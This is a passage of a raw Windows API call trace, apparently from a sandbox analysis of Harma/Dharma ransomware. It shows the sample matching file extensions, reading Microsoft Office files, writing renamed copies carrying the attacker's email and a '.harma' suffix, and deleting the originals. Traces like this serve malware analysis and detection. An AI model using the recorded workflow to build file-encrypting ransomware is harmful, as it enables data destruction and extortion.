(lpString1=".docx", lpString2="X_DLL") returned -1 [0160.582] lstrlenW (lpString=".pdf") returned 4 [0160.582] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0160.582] lstrlenW (lpString=".xls") returned 4 [0160.582] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0160.582] lstrlenW (lpString=".xlsx") returned 5 [0160.582] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0160.582] lstrlenW (lpString=".ppt") returned 4 [0160.582] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0160.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0160.582] lstrlenW (lpString=".zip") returned 4 [0160.582] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0160.583] lstrlenW (lpString=".rar") returned 4 [0160.583] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0160.583] lstrlenW (lpString=".bz2") returned 4 [0160.583] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0160.583] lstrlenW (lpString=".7z") returned 3 [0160.583] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0160.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0160.583] lstrlenW (lpString=".dbf") returned 4 [0160.583] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0160.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0160.583] lstrlenW (lpString=".1cd") returned 4 [0160.583] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0160.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0160.583] lstrlenW (lpString=".jpg") returned 4 [0160.583] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0160.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0160.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0160.583] lstrlenW (lpString=".doc") returned 4 [0160.583] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0160.583] lstrlenW (lpString=".docx") returned 5 [0160.583] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0160.583] lstrlenW (lpString=".pdf") returned 4 [0160.583] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0160.583] lstrlenW (lpString=".xls") returned 4 [0160.583] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0160.583] lstrlenW (lpString=".xlsx") returned 5 [0160.583] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0160.583] lstrlenW (lpString=".ppt") returned 4 [0160.583] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0160.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0160.583] lstrlenW (lpString=".zip") returned 4 [0160.584] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0160.584] lstrlenW (lpString=".rar") returned 4 [0160.584] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0160.584] lstrlenW (lpString=".bz2") returned 4 [0160.584] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0160.584] lstrlenW (lpString=".7z") returned 3 [0160.584] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0160.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0160.584] lstrlenW (lpString=".dbf") returned 4 [0160.584] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0160.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0160.584] lstrlenW (lpString=".1cd") returned 4 [0160.584] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0160.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0160.584] lstrlenW (lpString=".jpg") returned 4 [0160.584] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0160.584] lstrcmpiW (lpString1=".VSL", lpString2=".harma") returned 1 [0160.584] lstrlenW (lpString="SHAPNUM.VSL") returned 11 [0160.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0160.585] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=42352) returned 1 [0160.585] CloseHandle (hObject=0x1b4) returned 1 [0160.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl")) returned 0x20 [0160.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0160.780] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.780] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.267] GetLastError () returned 0x0 [0162.267] ReadFile (in: hFile=0x330, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0xa570, lpOverlapped=0x0) returned 1 [0162.272] WriteFile (in: hFile=0x398, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xa580, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xa580, lpOverlapped=0x0) returned 1 [0162.274] ReadFile (in: hFile=0x330, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0162.274] WriteFile (in: hFile=0x398, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xea, lpOverlapped=0x0) returned 1 [0162.274] SetEndOfFile (hFile=0x398) returned 1 [0162.274] CloseHandle (hObject=0x398) returned 1 [0162.274] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0162.274] SetEndOfFile (hFile=0x330) returned 1 [0162.278] CloseHandle (hObject=0x330) returned 1 [0162.278] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0162.390] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl")) returned 1 [0162.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0162.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0162.507] lstrlenW (lpString=".doc") returned 4 [0162.507] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0162.507] lstrlenW (lpString=".docx") returned 5 [0162.507] lstrcmpiW (lpString1=".docx", lpString2="M.VSL") returned -1 [0162.507] lstrlenW (lpString=".pdf") returned 4 [0162.507] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0162.507] lstrlenW (lpString=".xls") returned 4 [0162.507] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0162.507] lstrlenW (lpString=".xlsx") returned 5 [0162.508] lstrcmpiW (lpString1=".xlsx", lpString2="M.VSL") returned -1 [0162.508] lstrlenW (lpString=".ppt") returned 4 [0162.508] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0162.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0162.508] lstrlenW (lpString=".zip") returned 4 [0162.508] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0162.508] lstrlenW (lpString=".rar") returned 4 [0162.508] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0162.508] lstrlenW (lpString=".bz2") returned 4 [0162.508] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0162.508] lstrlenW (lpString=".7z") returned 3 [0162.508] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0162.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0162.508] lstrlenW (lpString=".dbf") returned 4 [0162.508] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0162.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0162.508] lstrlenW (lpString=".1cd") returned 4 [0162.508] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0162.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0162.509] lstrlenW (lpString=".jpg") returned 4 [0162.509] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0162.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0162.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0162.509] lstrlenW (lpString=".doc") returned 4 [0162.509] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0162.509] lstrlenW (lpString=".docx") returned 5 [0162.509] lstrcmpiW (lpString1=".docx", lpString2="M.VSL") returned -1 [0162.509] lstrlenW (lpString=".pdf") returned 4 [0162.509] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0162.509] lstrlenW (lpString=".xls") returned 4 [0162.509] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0162.509] lstrlenW (lpString=".xlsx") returned 5 [0162.509] lstrcmpiW (lpString1=".xlsx", lpString2="M.VSL") returned -1 [0162.509] lstrlenW (lpString=".ppt") returned 4 [0162.509] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0162.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0162.509] lstrlenW (lpString=".zip") returned 4 [0162.509] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0162.509] lstrlenW (lpString=".rar") returned 4 [0162.509] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0162.509] lstrlenW (lpString=".bz2") returned 4 [0162.510] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0162.510] lstrlenW (lpString=".7z") returned 3 [0162.510] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0162.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0162.510] lstrlenW (lpString=".dbf") returned 4 [0162.510] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0162.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0162.510] lstrlenW (lpString=".1cd") returned 4 [0162.510] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0162.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0162.510] lstrlenW (lpString=".jpg") returned 4 [0162.510] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0162.511] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0162.511] lstrlenW (lpString="VISINTL.DLL") returned 11 [0162.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.867] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=758648) returned 1 [0162.867] CloseHandle (hObject=0x398) returned 1 [0162.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll")) returned 0x20 [0162.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0162.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0162.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0162.882] lstrlenW (lpString=".doc") returned 4 [0162.882] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0162.882] lstrlenW (lpString=".docx") returned 5 [0162.882] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0162.882] lstrlenW (lpString=".pdf") returned 4 [0162.882] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0162.882] lstrlenW (lpString=".xls") returned 4 [0162.882] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0162.882] lstrlenW (lpString=".xlsx") returned 5 [0162.882] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0162.882] lstrlenW (lpString=".ppt") returned 4 [0162.882] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0162.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0162.882] lstrlenW (lpString=".zip") returned 4 [0162.882] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0162.882] lstrlenW (lpString=".rar") returned 4 [0162.882] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0162.882] lstrlenW (lpString=".bz2") returned 4 [0162.883] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0162.883] lstrlenW (lpString=".7z") returned 3 [0162.883] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0162.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0162.883] lstrlenW (lpString=".dbf") returned 4 [0162.883] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0162.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0162.883] lstrlenW (lpString=".1cd") returned 4 [0162.883] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0162.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0162.883] lstrlenW (lpString=".jpg") returned 4 [0162.883] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0162.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0162.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0162.883] lstrlenW (lpString=".doc") returned 4 [0162.883] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0162.883] lstrlenW (lpString=".docx") returned 5 [0162.883] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0162.883] lstrlenW (lpString=".pdf") returned 4 [0162.883] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0162.883] lstrlenW (lpString=".xls") returned 4 [0162.883] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0162.883] lstrlenW (lpString=".xlsx") returned 5 [0162.883] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0162.884] lstrlenW (lpString=".ppt") returned 4 [0162.884] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0162.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0162.884] lstrlenW (lpString=".zip") returned 4 [0162.884] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0162.884] lstrlenW (lpString=".rar") returned 4 [0162.884] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0162.884] lstrlenW (lpString=".bz2") returned 4 [0162.884] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0162.884] lstrlenW (lpString=".7z") returned 3 [0162.884] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0162.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0162.884] lstrlenW (lpString=".dbf") returned 4 [0162.884] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0162.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0162.884] lstrlenW (lpString=".1cd") returned 4 [0162.884] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0162.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0162.884] lstrlenW (lpString=".jpg") returned 4 [0162.884] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0162.885] lstrcmpiW (lpString1=".HXS", lpString2=".harma") returned 1 [0162.885] lstrlenW (lpString="VISIO.DEV.HXS") returned 13 [0162.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0162.886] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=5802528) returned 1 [0162.886] CloseHandle (hObject=0x3a4) returned 1 [0162.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs")) returned 0x20 [0162.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0162.890] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0162.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0162.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0162.890] lstrlenW (lpString=".doc") returned 4 [0162.890] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0162.890] lstrlenW (lpString=".docx") returned 5 [0162.890] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0162.890] lstrlenW (lpString=".pdf") returned 4 [0162.890] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0162.890] lstrlenW (lpString=".xls") returned 4 [0162.890] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0162.890] lstrlenW (lpString=".xlsx") returned 5 [0162.890] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0162.890] lstrlenW (lpString=".ppt") returned 4 [0162.890] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0162.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0162.890] lstrlenW (lpString=".zip") returned 4 [0162.890] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0162.890] lstrlenW (lpString=".rar") returned 4 [0162.890] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0162.890] lstrlenW (lpString=".bz2") returned 4 [0162.891] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0162.891] lstrlenW (lpString=".7z") returned 3 [0162.891] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0162.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0162.891] lstrlenW (lpString=".dbf") returned 4 [0162.891] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0162.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0162.891] lstrlenW (lpString=".1cd") returned 4 [0162.891] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0162.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0162.891] lstrlenW (lpString=".jpg") returned 4 [0162.891] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0162.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0162.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0162.892] lstrlenW (lpString=".doc") returned 4 [0162.892] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0162.892] lstrlenW (lpString=".docx") returned 5 [0162.892] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0162.892] lstrlenW (lpString=".pdf") returned 4 [0162.892] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0162.892] lstrlenW (lpString=".xls") returned 4 [0162.892] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0162.892] lstrlenW (lpString=".xlsx") returned 5 [0162.892] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0162.892] lstrlenW (lpString=".ppt") returned 4 [0162.892] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0162.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0162.892] lstrlenW (lpString=".zip") returned 4 [0162.892] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0162.892] lstrlenW (lpString=".rar") returned 4 [0162.892] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0162.892] lstrlenW (lpString=".bz2") returned 4 [0162.892] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0162.893] lstrlenW (lpString=".7z") returned 3 [0162.893] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0162.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0162.893] lstrlenW (lpString=".dbf") returned 4 [0162.893] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0162.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0162.893] lstrlenW (lpString=".1cd") returned 4 [0162.893] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0162.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0162.893] lstrlenW (lpString=".jpg") returned 4 [0162.893] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0162.893] lstrcmpiW (lpString1=".HXC", lpString2=".harma") returned 1 [0162.894] lstrlenW (lpString="VISIO.DEV_COL.HXC") returned 17 [0162.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0162.894] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=641) returned 1 [0162.894] CloseHandle (hObject=0x3a4) returned 1 [0162.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc")) returned 0x20 [0162.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0162.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0162.895] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0162.895] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0162.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0162.896] GetLastError () returned 0x0 [0162.896] ReadFile (in: hFile=0x3a4, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, 